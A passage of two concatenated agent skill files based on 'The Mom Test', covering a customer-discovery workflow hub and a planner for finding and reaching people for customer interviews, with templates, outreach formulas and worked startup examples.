2. They are complimenting you or your idea
3. You told them about your idea and do not know what is happening next
4. You do not have notes from the conversation
5. You have not reviewed your notes with your team
6. You got an unexpected answer and it did not change your idea
7. You were not scared of any of the questions you asked
8. You are not sure which big question you are trying to answer
9. You are not sure why you are having the meeting
**IF** 3 or more warning signs are present -> flag the process as broken. The user needs to fix their approach before having more conversations. Focus on the BEFORE phase regardless of how many conversations they have already done.
**IF** the user has not started -> proceed to Step 2 (BEFORE phase).
**IF** the user has conversation notes to review -> proceed to Step 4 (AFTER phase).
### Step 2: BEFORE — Prepare for Conversations
**ACTION:** Execute the preparation sequence. Each sub-step invokes a specialized skill.
**WHY:** Most bad conversations happen because of bad preparation. Choosing the wrong segment means talking to the wrong people. Unclear learning goals mean the conversation wanders. Bad questions produce bad data. The BEFORE phase is where you set up the conversation to succeed. Skipping it is the primary cause of "going through the motions."
**2a. Segment your customers**
**IF** no customer segment is defined or the current one is too broad -> invoke `customer-segment-slicer` to produce a specific who-where pair.
**WHY:** A conversation without a focused segment produces mixed signals that cannot inform decisions. You are not having 20 conversations with your customers — you are having 1 conversation each with 20 different types of customers.
**2b. Plan conversation sourcing**
**IF** the user knows WHO but not HOW to reach them -> invoke `conversation-sourcing-planner` to create an outreach plan with framing templates.
**WHY:** Most founders default to cold email or formal meetings when casual conversations at natural gathering points would produce better data faster with less overhead.
**2c. Set learning goals and prepare questions**
**ACTION:** Invoke `question-importance-prioritizer` to classify risks and select the 3 most important learning goals. Then invoke `conversation-learning-process` (Step 2: pre-conversation prep) to set those goals with the team. Finally invoke `conversation-question-designer` to produce a question script aligned to those goals.
**WHY:** The minimum viable prep is answering one question: "What do we want to learn from these guys?" Without this, the conversation is aimless. The question script ensures the conversation produces facts instead of compliments.
**2d. Choose conversation format**
**IF** the user is unsure about meeting format -> invoke `conversation-format-selector` to recommend casual vs formal vs phone.
**WHY:** Defaulting to 1-hour formal meetings for every conversation is the Meeting Anti-Pattern. A 5-minute casual chat often produces the same learning with a fraction of the time cost.
**2e. Define target commitments**
**ACTION:** Based on the user's product stage, define what commitment to push for at the end of the meeting.
| Product Stage | Target Commitment |
|---------------|-------------------|
| Problem exploration (no product) | Time: next meeting with specific goals. Reputation: intro to others with the same problem. |
| Wireframes or prototype | Time: sit down to review wireframes. Reputation: intro to decision maker. |
| Working product or beta | Time: non-trivial trial. Reputation: case study. Money: letter of intent. |
| Live product | Money: purchase or deposit. Reputation: public testimonial. |
**OUTPUT:** A completed preparation checklist ready for the human to execute.
### Step 3: DURING — Conversation Execution Guidance
**ACTION:** Provide the human with a field reference card for real-time use during the conversation.
**WHY:** Even with perfect preparation, conversations go off-script. The human needs to recognize danger signals in real-time and recover. This step produces a compact reference, not a rigid script — the human leads the conversation while the card keeps them honest.
**HANDOFF TO HUMAN** — The agent cannot conduct the conversation. Provide this field card:
**Keep it casual.** If it feels like they are doing you a favor by talking to you, it is probably too formal.
**Ask questions that pass 3 rules:**
1. Talk about their life, not your idea
2. Ask about specifics in the past, not generics about the future
3. Talk less and listen more
**Recover from bad data in real-time:**
- If you hear a compliment -> deflect: "Thanks — but how are you currently handling this?"
- If you hear fluff ("I would definitely...") -> anchor: "When was the last time that came up?"
- If you hear a feature request -> dig: "Why do you want that? What would it let you do?"
**Press for commitment and next steps.** Do not leave without a concrete next step. The meeting either advances or it fails — there is no "went well."
**Take notes.** Capture exact quotes. Use signal symbols if possible. Without notes, the conversation might as well not have happened.
### Step 4: AFTER — Review, Synthesize, and Decide Next Steps
**ACTION:** Execute the post-conversation sequence. Each sub-step invokes a specialized skill.
**WHY:** The AFTER phase is where conversations turn into validated learning. Without it, insights stay in one person's head, bad data gets treated as fact, and the team never updates their assumptions. Most teams skip this phase, which is why they feel stuck after dozens of conversations.
**4a. Analyze conversation quality**
**ACTION:** Invoke `conversation-data-quality-analyzer` on the conversation notes to classify every statement as FACT, COMPLIMENT, FLUFF, or IDEA. Get the quality rating (STRONG / MIXED / WEAK / EMPTY).
**WHY:** A conversation that "went well" is a warning sign. Quantifying the ratio of facts to noise gives an objective measure instead of a gut feeling driven by compliments.
**4b. Evaluate commitment signals**
**ACTION:** Invoke `commitment-signal-evaluator` on the meeting outcomes to classify commitment currencies (time, reputation, money) and detect zombie leads.
**WHY:** Compliments cost nothing and are worth nothing. The only reliable measure of interest is what the prospect gave up. This step separates real leads from false-positive prospects.
**4c. Run the team learning review**
**ACTION:** Invoke `conversation-learning-process` (Steps 3-5: categorize notes, run team review, set next learning goals) to transfer learnings to the whole team and update assumptions.
**WHY:** Customer learning is a team sport. When insights stay in one person's head, that person becomes a de-facto dictator wielding "the customer said so" as an unchallengeable trump card. The review is where learning actually transfers.
**4d. Update the discovery dashboard**
**ACTION:** Update the discovery status dashboard (see Step 5) with new data from this conversation batch.
### Step 5: Produce the Customer Discovery Status Dashboard
**ACTION:** Create or update the discovery dashboard — a single document showing the full state of the user's validation progress.
**WHY:** Customer discovery produces many artifacts across many conversations. Without a single status view, the user loses track of what has been validated, what remains unknown, and what to do next. The dashboard is the tangible deliverable of this hub skill — it aggregates output from all sibling skills into one actionable summary.
**Dashboard format:**
```markdown
# Customer Discovery Status Dashboard
## Product
- **Idea:** [product description]
- **Stage:** [problem exploration / prototype / beta / live]
- **Date Updated:** [today]
## Active Segment
- **WHO:** [specific customer segment]
- **WHERE:** [finding location]
- **Source:** customer-segment-slicer output or user-defined
- **Segment Status:** [needs slicing / defined / validated]
## Learning Goals (Current Batch)
| # | Learning Goal | Status | Evidence |
|---|--------------|--------|----------|
## Conversation Log
| # | Date | Person | Quality | Commitment | Key Insight |
|---|------|--------|---------|------------|-------------|
| 1 | [date] | [who] | [STRONG/MIXED/WEAK] | [currency type] | [one-line insight] |
## Assumption Tracker
| # | Assumption | Status | Evidence | Source |
|---|-----------|--------|----------|--------|
## Commitment Pipeline
| Prospect | Highest Currency | Earlyvangelist Score | Next Step | Status |
|----------|-----------------|---------------------|-----------|--------|
| [name] | [time/reputation/money/none] | [0-4 criteria met] | [action] | [active/zombie/closed] |
## Process Health
- **Conversations this batch:** [N]
- **Going-through-the-motions signs:** [count of 9] — [list any present]
- **Good meeting results:** [count of meetings producing Facts + Commitment + Advancement]
- **Learning bottleneck risk:** [yes/no — is one person hoarding insights?]
## Results of a Good Meeting (Checklist)
For each conversation, verify it produced at least one of:
- [ ] **Facts** — concrete, specific facts about what they do and why (not compliments, fluff, or opinions)
- [ ] **Commitment** — they gave up something of value: time, reputation, or money
- [ ] **Advancement** — they moved to the next step of your real-world funnel, closer to a sale
## Next Actions
1. [Highest-priority next step]
2. [Second priority]
3. [Third priority]
```
**IF** the user provided a working directory -> write to `discovery-dashboard.md`
**ELSE** -> present directly in the conversation
## Examples
**Scenario: Founder starting from scratch with a SaaS idea**
Trigger: "I have an idea for a tool that helps freelance designers manage client feedback. How do I validate this?"
Process: Assess state (starting from scratch). BEFORE phase: invoke `customer-segment-slicer` ("freelance designers" too broad, slice to "freelance UI/UX designers on Dribbble with 3+ simultaneous projects"). Invoke `conversation-learning-process` for prep (3 goals: feedback loop pain, current tools, past fix attempts). Invoke `conversation-question-designer` for script. Define target commitments (pre-product: time + reputation).
Output: Discovery dashboard with BEFORE phase complete, segment defined, question script ready, zero conversations logged. Action plan: "Talk to 3-5 freelance UI/UX designers this week."
---
**Scenario: Founder stuck after 12 conversations**
Trigger: "I've done 12 customer interviews for my restaurant inventory tool but everyone says it sounds great and nobody has signed up for the beta."
Process: Run going-through-the-motions diagnostic — detected 3 of 9 signs (compliments without commitments, no scary questions, nothing changed). Invoke `conversation-data-quality-analyzer` on notes (likely WEAK — mostly compliments and fluff). Invoke `commitment-signal-evaluator` (zero currencies across 12 meetings, zombie lead pattern). Diagnosis: collecting compliments instead of facts.
Output: Dashboard showing 12 conversations, zero validated assumptions, zero commitments. Restart plan: re-slice segment, set scary learning goals, redesign questions to hide the product, define concrete commitment asks.
---
**Scenario: Team reviewing after a productive conversation batch**
Trigger: "My co-founder and I finished 5 conversations this week about our invoicing tool. Here are our notes. What next?"
Process: Enter AFTER phase. Invoke `conversation-data-quality-analyzer` on each set of notes. Invoke `commitment-signal-evaluator` on outcomes. Invoke `conversation-learning-process` for team review, assumption updates, and next learning goals.
Output: Updated dashboard with 5 conversations logged, quality ratings, strongest lead flagged, assumptions updated, next 3 learning goals set.
## Key Principles
- **This skill orchestrates, it does not duplicate** — Every specialized task (segmenting, questioning, analyzing, evaluating commitments, reviewing learnings) is handled by a sibling skill. This skill sequences them in the right order and maintains the overall discovery state. If you find yourself doing detailed question design or data classification here, you are in the wrong skill.
- **The process is before/during/after, not plan/execute** — Customer discovery is not a project plan you execute once. It is a loop: prepare, talk, review, update, repeat. Each cycle through the loop should produce validated or invalidated assumptions. If you have been through the loop multiple times and nothing has changed, the process itself is broken.
- **A meeting that "went well" is a warning sign** — Good meetings produce facts, commitment, and advancement. Bad meetings produce compliments and warm feelings. The phrase "it went well" almost always means the latter. Every meeting must be scored against the three results criteria (facts, commitment, advancement), not against how it felt.
- **Conversations are a tool, not an obligation** — Having a process does not mean having more meetings. The goal is to learn what you need as quickly as possible and get back to building. Three focused conversations with the right segment can produce more learning than thirty scattered ones with the wrong people. If conversations are not producing learning, fix the process or stop having them.
- **Process without action is worse than no process at all** — Having a process is valuable, but do not get stuck in it. Sometimes you can just pick up the phone and hack through the knot. The personal trainer who called the police station instead of agonizing over customer segmentation got a trial session in twenty minutes. Process exists to serve learning, not the other way around.
## References
- Segment customers into who-where pairs -> `customer-segment-slicer`
- Create outreach plans and framing templates -> `conversation-sourcing-planner`
- Design questions that pass the 3 quality rules -> `conversation-question-designer`
- Choose conversation format (casual/formal/phone) -> `conversation-format-selector`
- Prioritize which learning goals matter most -> `question-importance-prioritizer`
- Analyze conversation notes for bad data -> `conversation-data-quality-analyzer`
- Evaluate commitment signals and detect zombie leads -> `commitment-signal-evaluator`
- Run team learning review and set next goals -> `conversation-learning-process`
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Mom Test by Rob Fitzpatrick.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-conversation-question-designer`
- `clawhub install bookforge-conversation-data-quality-analyzer`
- `clawhub install bookforge-commitment-signal-evaluator`
- `clawhub install bookforge-customer-segment-slicer`
- `clawhub install bookforge-conversation-learning-process`
- `clawhub install bookforge-conversation-sourcing-planner`
- `clawhub install bookforge-conversation-format-selector`
- `clawhub install bookforge-question-importance-prioritizer`
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Create a plan for finding and reaching people to have customer discovery conversations with, including channel selection, outreach messages, and warm intro s...
---
name: conversation-sourcing-planner
description: Create a plan for finding and reaching people to have customer discovery conversations with, including channel selection, outreach messages, and warm intro strategies. Use this skill whenever the user does not know how to find people to talk to, does not know anyone in their target market, needs to reach potential customers but has no connections, wants to write a cold outreach email or LinkedIn message for customer conversations, needs help with warm introductions or getting introduced to prospects, is struggling to get meetings or conversations with target customers, wants to build a conversation pipeline or outreach cadence, asks "where do I find people to interview" or "how do I get customer meetings," needs to figure out the best channels to reach a specific customer segment, wants to plan cold or warm outreach for customer interviews, or wants to leverage events or communities or online forums to find conversation targets — even if they don't explicitly say "sourcing" or "outreach." This skill is about FINDING and REACHING people, not about who your target customer is (use customer-segment-slicer) or whether meetings should be casual or formal (use conversation-format-selector).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/the-mom-test/skills/conversation-sourcing-planner
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: verified
source-books:
- id: the-mom-test
title: "The Mom Test"
authors: ["Rob Fitzpatrick"]
chapters: [9]
tags: [customer-discovery, outreach, conversation-sourcing, cold-outreach, warm-intros, meeting-framing, advisory-flip]
depends-on:
- customer-segment-slicer
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Target customer segment description (ideally a who-where pair from customer-segment-slicer)"
- type: document
description: "Product stage and vision description"
tools-required: [Read, Write]
tools-optional: []
mcps-required: []
environment: "Any agent environment. Operates on text documents describing target segments and product context. Agent creates the outreach plan; human executes the actual conversations."
---
# Conversation Sourcing Planner
## When to Use
You are in a situation where the user has a defined customer segment (ideally a who-where pair) and needs a concrete plan to reach those people and start conversations. Typical triggers:
- The user has completed customer segmentation but does not know how to actually reach their target segment
- The user is stuck at zero conversations and needs a way to get started
- The user has tried one channel (usually cold email) and it is not working — they need alternatives
- The user wants to write outreach messages but does not know how to frame them without triggering sales-meeting dynamics
- The user needs to plan how many conversations to have and over what timeline
- The user feels awkward or needy about asking strangers for meetings
Before starting, verify:
- Does the user have a specific customer segment defined? (If not, they need `customer-segment-slicer` first — a sourcing plan without a defined segment will produce unfocused outreach that wastes everyone's time)
- Does the user know their product vision, even roughly? (Needed for framing outreach messages)
- Is the user clear on what they want to learn? (If not, note this gap in the plan — they should define learning goals before having conversations)
## Context & Input Gathering
### Required Context (must have before proceeding)
- **Target customer segment:** Who is the user trying to reach? Must be specific enough to identify concrete finding locations. A who-where pair is ideal.
- Check prompt for: customer descriptions, segment names, who-where pairs, references to a customer-segments.md file
- Check environment for: `customer-segments.md` in the working directory
- If still missing, ask: "Who specifically are you trying to have conversations with? If you have a customer segment document, point me to it. If not, describe your target customer as specifically as you can — who they are and where you might find them."
- **Product stage and vision:** What is the user building and how far along are they? This determines whether outreach should emphasize "nothing to sell" (pre-product) or "early version to show" (post-product).
- Check prompt for: product descriptions, stage indicators (idea, prototype, MVP, launched)
- Check environment for: `product-idea.md` or similar product brief
- If still missing, ask: "What is your product or business idea, and what stage are you at? (idea stage, prototype, MVP, or launched product)"
### Helpful Context (gather if available)
- **Existing network:** Does the user already know anyone in their target segment? Do they have warm connections, advisors, or investors who could make introductions?
- **Previous outreach attempts:** Has the user already tried reaching out? What worked and what did not?
- **Available platforms:** Does the user have a blog, social media presence, email list, or landing page? These affect which "bring them to you" channels are viable.
- **Geographic constraints:** Is the user limited to a specific location, or can they reach people remotely?
- **Team composition:** Is anyone on the team embedded in the target industry? Do they have a PhD student (built-in excuse for research conversations)?
### Default Assumptions
- If no network information is provided, assume the user is starting cold with no existing connections in the target segment
- If no platform presence is mentioned, assume the user has no blog, list, or social following to leverage
- If product stage is unclear, default to pre-product (nothing to sell yet) — this is the safer framing for outreach
- If geographic constraints are not mentioned, assume the user can do both in-person and remote outreach
## Process
### Step 1: Assess the Starting Position
**ACTION:** Evaluate the user's current assets and constraints to determine which conversation channels are viable.
**WHY:** Different founders start from radically different positions. Someone embedded in their target industry already has warm connections and credibility. Someone entering a new industry starts cold and needs different tactics. Matching channels to the user's actual starting position prevents wasted effort on channels that require assets they do not have.
Assess these four dimensions:
1. **Network proximity** — How many degrees of separation from the target segment? (0 = they ARE the target, 1 = know people directly, 2 = know people who know people, 3+ = no connection)
2. **Platform presence** — Do they have any audience, content, or online presence relevant to this segment? (blog, social following, email list, landing page)
3. **Industry credibility** — Would the target segment recognize the user as someone worth talking to? (industry experience, relevant expertise, academic credentials)
4. **Time and geography** — Can the user attend in-person events? How many hours per week can they dedicate to outreach?
**IF** network proximity is 0-1 → prioritize warm intro channels (advisors, existing contacts, network asks)
**IF** network proximity is 2+ → start with cold channels and immersion, plan to convert cold contacts into warm intros over time
**IF** the user has platform presence → include "bring them to you" channels (blogging, teaching, landing pages)
**IF** the user has no platform → skip those channels for now and focus on "going to them" and warm intro strategies
### Step 2: Score and Rank Available Channels
**ACTION:** Evaluate each of the 7 conversation channels against the user's specific situation and rank them by expected yield.
**WHY:** Not every channel works for every founder. Cold calls work when you only need a 2% response rate to start the snowball. Organizing meetups works when you have time and a findable community. The right channel depends on the user's assets, segment, and constraints. Scoring prevents the user from defaulting to whatever feels most comfortable (usually cold email) when a higher-yield channel is available.
Evaluate these 7 channels:
| Channel | How It Works | Best When |
|---------|-------------|-----------|
| **Cold outreach** | Email, LinkedIn, or cold calls to target contacts. Expect 2% response rate — but you only need one or two to start the intro snowball. | You have no connections at all and need to bootstrap from zero. The rejection rate is irrelevant — you are not selling, you are starting a snowball. |
| **Seize serendipity** | Use casual encounters (parties, conferences, co-working spaces) to start conversations when you hear relevant signals. Keep your learning goals in your head so you are ready. | You are around people socially and can recognize target customers in the wild. Works best when conversations are casual and you know your top 3 questions. |
| **Immerse yourself** | Join the communities and spaces where your target segment already gathers. Attend their events, join their forums, volunteer, give free talks. | You are entering a new industry and need to build connections from scratch. Time-intensive but produces deep understanding and organic relationships. |
| **Landing pages** | Put up a page describing your value proposition, collect emails, then personally email every person who signs up. The value is not the conversion metrics — it is the conversations from reaching out to signups. | You can describe your value proposition clearly enough to attract interest. Use the signups as qualified leads for personal outreach, not as quantitative validation. |
| **Organize events** | Host a meetup, happy hour, workshop, or knowledge exchange call for your target segment. You absorb the credibility of being the organizer. | You have a findable segment that would attend topic-specific events. Marginally more effort than attending events but dramatically more effective — you are the center of attention. |
| **Speak and teach** | Give talks, workshops, free consulting, or create educational content for your target segment. Teaching forces you to clarify your thinking and puts you in front of a self-selected audience. | You have domain expertise and opinions about how things could be better. The audience self-selects as people who take the topic seriously. |
| **Industry blogging** | Write about your target industry's problems and solutions. Even without readers, the blog serves as a credibility signal when cold emailing. People check your domain and see you are serious. | You want a long-term credibility asset. Even with zero audience, a blog makes cold emails more effective because recipients check your site. |
For each channel, score:
- **Viable?** (YES/NO — does the user have what they need to use this channel?)
- **Expected yield** (HIGH/MEDIUM/LOW — how many conversations per unit of effort?)
- **Time to first conversation** (DAYS/WEEKS/MONTHS)
- **Recommended?** (YES/NO — should this channel be in the plan?)
**Rank** the recommended channels from highest to lowest priority.
### Step 3: Identify Warm Intro Paths
**ACTION:** Map all potential paths to warm introductions for the user's target segment.
**WHY:** Warm introductions are dramatically more effective than cold outreach. When someone credible introduces you, the target contact already trusts that you are worth their time. The goal of all cold outreach is to stop having cold conversations — you hustle together the first one or two from wherever you can, treat people's time respectfully, and those cold contacts start turning into warm intros. The snowball starts rolling.
Map these warm intro sources:
1. **Existing network** — Who does the user already know who might know someone in the target segment? Apply the "7 degrees of separation" principle — the world is small, and you can find anyone you need if you ask around a few times.
2. **Industry advisors** — Would it make sense to recruit 2-5 industry advisors? Each advisor gets approximately 0.5% equity, meets monthly, and provides a steady stream of introductions. You can sometimes identify strong advisor candidates from your early customer conversations.
3. **Investors** — If the user has investors, their portfolio rolodex and industry connections are a powerful intro source, especially for B2B.
4. **Universities** — If the user is a student or recently graduated, professors are a goldmine. They get grant funding from industry contacts and those contacts are self-selected as people excited about new projects. Professors post their emails publicly and you can walk into their office.
5. **Cashing in old favors** — Anyone who previously said "sounds great, keep me in the loop and let me know how I can help" can be contacted now. Reply to that old email and ask for a specific introduction using the framing formula from Step 4.
**OUTPUT:** A list of specific warm intro paths with names or categories of people to contact, ordered by likelihood of success.
### Step 4: Draft Outreach Messages Using the Framing Formula
**ACTION:** Write 2-3 outreach message templates customized to the user's situation, using the 5-element framing formula.
**WHY:** Most outreach fails because it triggers sales-meeting dynamics. Asking "Can I interview you?" sets off alarm bells that the meeting will be boring. Asking "Can I get your opinion on what we're doing?" signals neediness and desire for approval. Asking "Do you have time for a quick coffee?" provides no context, suggesting the requester will waste time. The 5-element framing formula prevents all of these failures by establishing credibility, showing vulnerability, and making the request feel like an opportunity to help rather than a sales pitch.
The 5-element framing formula (mnemonic: "Very Few Wizards Properly Ask [for help]"):
1. **Vision** — One half-sentence of how you are trying to make the world better. Do NOT mention your idea or product. Frame it as a mission.
2. **Framing** — Mention what stage you are at. If true, say you have nothing to sell. This disarms sales defenses.
3. **Weakness** — Show vulnerability by mentioning your specific problem or knowledge gap. Give them a chance to help. This also clarifies you are not a time-waster — you have a specific need.
4. **Pedestal** — Show how much THEY in particular can help. Make it clear why you are reaching out to them specifically, not mass-emailing a list.
5. **Ask** — Ask for help. Be specific about what you need (a 15-minute chat, a coffee, an email exchange).
**IMPORTANT:** The 5 elements can be reordered based on context. If the standard order might look like a sales pitch, move Weakness earlier so the reader sees vulnerability before they delete it as spam.
Draft at least 2 templates:
- **Template A: Cold email** (for reaching people you have never met)
- **Template B: Warm intro request** (for asking someone to introduce you to a contact)
- **Template C (if applicable): Meeting opening** (for when someone else made the introduction — use them as a voice of authority, repeat your framing, then immediately drop into the first question)
**IF** the user is pre-product → emphasize "we don't have anything to sell" in the Framing element
**IF** the user is post-product → adjust Framing to "we have an early version and want to make sure we're building the right thing"
### Step 5: Apply the Advisor Evaluation Mindset
**ACTION:** Reframe the user's internal narrative from "finding customers" to "finding advisors."
**WHY:** Going into conversations looking for customers creates a needy vibe and forfeits the position of power. Instead, the user should go in search of industry and customer advisors — helpful, knowledgeable people who are excited about the space. With this mindset switch, the user knows why they are there, the meeting feels like "let me find out if you are a good advisor" instead of a needy sales meeting, and the user is now evaluating them rather than being evaluated. The topics of discussion are basically the same, but the power dynamic changes completely. This is not about explicitly telling people you are looking for advisors — it is about orienting your internal narrative to give yourself a helpful and consistent front. Willpower is finite. Changing the context of the meeting is easier than willing yourself to not be needy.
Add to the outreach plan:
- A brief reminder of the advisor evaluation mindset
- The reframe: "You are not asking for favors. You are evaluating whether this person could be a valuable advisor for your space."
- Note that strong advisor candidates may emerge from early conversations — keep an eye out for people who are genuinely knowledgeable, excited, and well-connected
### Step 6: Set Target Conversation Count and Timeline
**ACTION:** Recommend a specific number of conversations and a timeline based on the user's segment focus and product stage.
**WHY:** Every conversation has an opportunity cost — while you are in a meeting, you are not building. The goal is not a thousand meetings. It is about quickly learning what you need and getting back to building. The right number depends on segment focus: 3-5 conversations may be enough for a well-defined segment in a simple industry. If you have run 10+ conversations and results are still inconsistent, the customer segment is probably too broad and needs to be tightened up (go back to `customer-segment-slicer`). The stopping rule is: keep having conversations until you stop hearing new information.
Guidelines:
- **Focused segment, simple industry:** Target 3-5 conversations in the first 2 weeks
- **Broad segment or complex industry:** Target 5-10 conversations in the first 3 weeks
- **Sales-driven business (especially enterprise):** More conversations is fine — the opportunity cost is low because many early conversations become sales leads
- **Diminishing returns signal:** If conversations start repeating the same patterns and no new information emerges, you have enough
- **Divergence signal:** If after 10+ conversations results are all over the map, your segment is too fuzzy — return to `customer-segment-slicer`
**IF** the user is building a sales-driven business → recommend higher volume (10-15 conversations) since early conversations double as learning AND dealflow
**IF** the user is building a product-led business → recommend lower volume (3-5 conversations) and emphasize getting back to building quickly
### Step 7: Produce the Outreach Plan Document
**ACTION:** Write the complete outreach plan to a file the user can execute against and track progress.
**WHY:** A written plan with specific channels, messages, and targets transforms "I should talk to some customers" from a vague intention into an executable checklist. The plan should be a living document — channels that produce results get doubled down on, channels that do not produce results get dropped.
**HANDOFF TO HUMAN** — The agent produces the plan document. The human executes the outreach, has the conversations, and updates the plan with results.
Write the output file with this structure:
```markdown
# Conversation Sourcing Plan: {Product/Idea Name}
## Target Segment
**WHO:** {specific customer segment description}
**WHERE:** {where to find them — from who-where pair}
**Source:** {reference to customer-segments.md if available}
## Starting Position Assessment
- **Network proximity:** {0-3 score with explanation}
- **Platform presence:** {description of existing assets}
- **Industry credibility:** {current standing}
- **Available time:** {hours/week for outreach}
## Channel Plan (Ranked)
### Priority 1: {Channel Name}
- **Why this channel:** {reasoning for this segment}
- **Specific actions:** {concrete steps to take this week}
- **Expected yield:** {conversations per unit of effort}
- **Time to first conversation:** {days/weeks}
### Priority 2: {Channel Name}
{Same format}
### Priority 3: {Channel Name}
{Same format}
## Warm Intro Map
{List of specific warm intro paths with people/categories to contact}
## Outreach Templates
### Template A: Cold Email
Subject: {subject line}
{Full email using VFWPA formula with elements annotated}
### Template B: Warm Intro Request
{Full message for asking someone to make an introduction}
### Template C: Meeting Opening
{Script for when someone else introduced you}
## Mindset Reminder
{Brief advisor evaluation mindset reminder}
## Conversation Targets
- **Target count:** {N} conversations
- **Timeline:** {weeks}
- **Stopping rule:** Stop when you stop hearing new information
- **Divergence signal:** If 10+ conversations yield inconsistent results, re-slice your segment
## Progress Tracker
| # | Date | Person | Channel | Key Insight | Follow-up |
|---|------|--------|---------|-------------|-----------|
| 1 | | | | | |
| 2 | | | | | |
| 3 | | | | | |
## Channel Results (update weekly)
| Channel | Attempts | Conversations | Conversion | Keep/Drop |
|---------|----------|---------------|------------|-----------|
| | | | | |
## Revision Log
| Date | Change | Trigger |
|------|--------|---------|
| {today} | Initial plan | First outreach planning session |
```
Save to `outreach-plan.md` in the user's working directory (or the path they specify).
## Examples
### Example 1: Developer Tools Startup Entering a New Industry
**Scenario:** A two-person team has built a prototype debugging tool for embedded systems engineers. They completed customer segmentation and their starting segment is "embedded systems engineers at automotive companies who are frustrated with proprietary debugging tools." They know nobody in the automotive industry.
**Trigger:** The team says "We know who we want to talk to but we have no idea how to reach embedded systems engineers at automotive companies. We've never worked in that industry."
**Process:**
1. Starting position: network proximity 3+ (no connections in automotive), no platform presence, some technical credibility from embedded systems background but no automotive industry recognition, available 10 hours/week for outreach
2. Channel ranking: (1) Immerse yourself — attend Embedded Systems Conference and local automotive engineering meetups; (2) Cold outreach via LinkedIn — target engineers with "embedded" and "automotive" in their profiles; (3) Industry blogging — start writing about embedded debugging challenges to build credibility; (4) Organize — host a virtual "Embedded Debugging War Stories" meetup
3. Warm intro map: no direct paths, but suggested asking their university professors (both are recent graduates) and checking if their university has automotive industry partnerships
4. Outreach templates: cold LinkedIn message using VFWPA — Vision: "trying to make embedded debugging less painful"; Framing: "we're engineers ourselves, just starting out, nothing to sell"; Weakness: "we've only worked with consumer electronics and don't understand automotive constraints"; Pedestal: "your experience with [specific tool] at [company] is exactly the perspective we need"; Ask: "15 minutes to understand your debugging workflow?"
5. Advisor mindset: framed as "we're evaluating whether automotive is the right space for us and looking for people who can help us understand the landscape"
6. Target: 5 conversations in 3 weeks (new industry needs more discovery)
**Output:** Outreach plan with LinkedIn cold outreach as the immediate action (start this week, target 20 messages for 1-2 conversations), Embedded Systems Conference attendance as medium-term (next month), and a "debugging war stories" blog as a long-term credibility asset.
### Example 2: Consumer App Founder With Industry Connections
**Scenario:** A founder is building a meal planning app. She completed segmentation and is targeting "busy working parents who already meal-prep on Sundays, found in meal-prep subreddits and local meal-prep Facebook groups." She is a working parent herself and knows many others.
**Trigger:** The founder says "I'm one of my own customers and I know lots of parents who meal-prep, but I feel weird asking my friends for 'interviews.' How do I do this without being awkward?"
**Process:**
1. Starting position: network proximity 0 (she IS the target customer), strong existing network, no formal platform but active in relevant Facebook groups, high credibility as a fellow meal-prepping parent, 5 hours/week
2. Channel ranking: (1) Seize serendipity — she is already around her target customers every day at school pickup, in parent groups, at meal-prep activities; (2) Warm intros from existing network — ask parent friends "who is the most obsessive meal-prepper you know?"; (3) Immerse in online communities — engage genuinely in meal-prep subreddits and Facebook groups before starting conversations; (4) Organize — host a "Sunday meal-prep session" at her home
3. Warm intro map: 8-10 parent friends who meal-prep, 3 active meal-prep Facebook groups she is already in
4. Outreach templates: for this founder, formal outreach templates are actually WRONG. Her best conversations will happen casually — at school pickup, at the park, during playdates. The plan emphasized: do NOT frame these as interviews. Just have conversations. Ask about their meal-prep routine, what frustrates them, how they decide what to cook. Her top 3 learning goals should always be in her head so she can use any casual encounter.
5. Advisor mindset: reframed from "I need to interview parents" to "I'm curious about how other parents handle meal prep differently from me"
6. Target: 5 conversations in 2 weeks (focused segment she is already embedded in)
**Output:** Outreach plan with serendipity as primary channel (no outreach messages needed — just prepare learning goals and use casual encounters), a list of 8 specific parent friends to have meal-prep conversations with this week, and a note to keep conversations casual per `conversation-format-selector` guidance.
### Example 3: B2B SaaS With Advisory Board Strategy
**Scenario:** A funded startup is building compliance automation software for fintech companies. Their target segment is "compliance officers at Series A-C fintech startups who currently manage compliance with spreadsheets." They have two investors with fintech portfolios.
**Trigger:** The team says "We need to talk to compliance officers but they're hard to reach. They're busy, skeptical of vendors, and don't hang out in obvious communities."
**Process:**
1. Starting position: network proximity 2 (investors know fintech founders who know compliance officers), no platform but have funding credibility, moderate industry credibility (team includes an ex-compliance analyst), 15 hours/week
2. Channel ranking: (1) Investor intros — both investors have fintech portfolio companies with compliance officers; (2) Industry advisors — recruit 3-5 compliance professionals as advisors at 0.5% equity each for monthly intro flow; (3) Organize — host a "Fintech Compliance Roundtable" quarterly call for compliance officers to share challenges; (4) Speaking and teaching — offer free compliance workshops at fintech accelerators; (5) Cold outreach via LinkedIn — target compliance officers at specific fintech companies
3. Warm intro map: Investor A has 12 fintech portfolio companies, Investor B has 8. Ex-compliance analyst team member has 5 former colleagues. Combined: 25+ potential paths to compliance officers through warm introductions.
4. Outreach templates: warm intro request to investors — Vision: "making compliance automated so fintech companies can focus on building products"; Framing: "we've just raised our seed and are in discovery mode — not selling anything yet"; Weakness: "we built compliance tools internally but don't know if our approach generalizes across different fintech types"; Pedestal: "your portfolio company [X] is exactly the stage where compliance gets painful — their compliance team's perspective would be incredibly valuable"; Ask: "could you connect us with their compliance lead for a 20-minute chat?"
5. Advisor mindset: "We are building an advisory board of the smartest compliance people in fintech. Each conversation is an audition — we're evaluating whether they have the depth to help guide our direction."
6. Target: 10-15 conversations in 4 weeks (enterprise/B2B = higher volume because conversations become dealflow)
**Output:** Outreach plan with investor intros as immediate action (send 4 intro requests this week), advisory board recruitment as parallel track (identify 5 candidates from early conversations), and a quarterly compliance roundtable as a medium-term credibility play. Included email templates for investor intro requests and a separate cold LinkedIn template for direct outreach.
## Key Principles
